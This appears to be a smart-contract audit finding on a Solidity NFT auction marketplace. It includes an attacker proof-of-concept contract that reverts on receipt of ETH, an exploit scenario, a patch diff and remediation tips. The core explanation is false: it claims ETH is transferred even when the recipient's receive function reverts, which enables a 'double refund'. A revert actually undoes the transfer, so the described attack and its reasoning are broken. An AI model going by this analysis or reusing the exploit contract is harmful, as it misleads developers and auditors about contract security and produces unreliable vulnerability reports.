pragma solidity 0.8.20;
import "./BidBeastsNFTMarketPlace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract ReentrancyPoCAttacker {
BidBeastsNFTMarket public marketplace;
IERC721 public nft;
uint256 public tokenId;
bool public shouldRevert = true;
constructor(address _marketplace, address _nft, uint256 _tokenId) {
marketplace = BidBeastsNFTMarket(_marketplace);
nft = IERC721(_nft);
tokenId = _tokenId;
}
function placeInitialBid() external payable {
marketplace.placeBid{value: msg.value}(tokenId);
}
function claimDoubleRefund() external {
marketplace.withdrawAllFailedCredits(address(this));
}
receive() external payable {
if (shouldRevert) {
revert("Intentional revert to exploit failed transfer");
}
}
function toggleRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
fallback() external payable {
if (shouldRevert) {
revert("Intentional revert to exploit failed transfer");
}
}
}
## The high-severity issue in the \_payout function is flagged as a potential reentrancy vulnerability, but upon analysis, it appears to be more accurately a mishandling of failed ETH transfers. The low-level call transfers ETH **unconditionally** (even if the recipient's fallback/receive function reverts), but the contract checks success afterward and credits the amount to failedTransferCredits if false. A malicious recipient can receive the ETH, revert intentionally, trick the contract into crediting the amount again, and withdraw it a second time—resulting in double payment.
This is exploitable without true reentrancy (no need for recursive calls), but the scanner likely flagged it due to the external call's potential for "unexpected behavior" in the fallback. True reentrancy (e.g., exploiting shared state before updates) is not possible here because the contract follows Checks-Effects-Interactions (state updates occur before calls).
#### Exploit Scenario
1. Attacker deploys a malicious contract and places a bid on an NFT auction, becoming the highest bidder.
2. A legitimate user places a higher bid, triggering a refund to the attacker via \_payout.
3. During the call{value: amount}, ETH is transferred to the attacker's contract.
4. The attacker's receive() function reverts intentionally, making success = false.
5. The marketplace adds the amount to failedTransferCredits\[attacker].
6. Attacker calls withdrawAllFailedCredits to claim the credited amount again, doubling the refund.
function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
- (bool success, ) = payable(recipient).call{value: amount}("");
- if (!success) {
- failedTransferCredits[recipient] += amount;
- }
+ failedTransferCredits[recipient] += amount;
}
## Use recipient.transfer(amount) instead of call (limits gas, prevents reentrancy, but has 2300 gas stipend—may fail for contracts).
* Or, credit to failedTransferCredits **before** the call, and subtract if success=true.
* Best: Use pull-payments—always credit to a mapping, let users withdraw separately (no direct send).
* Add ReentrancyGuard if true reentrancy paths emerge in future code.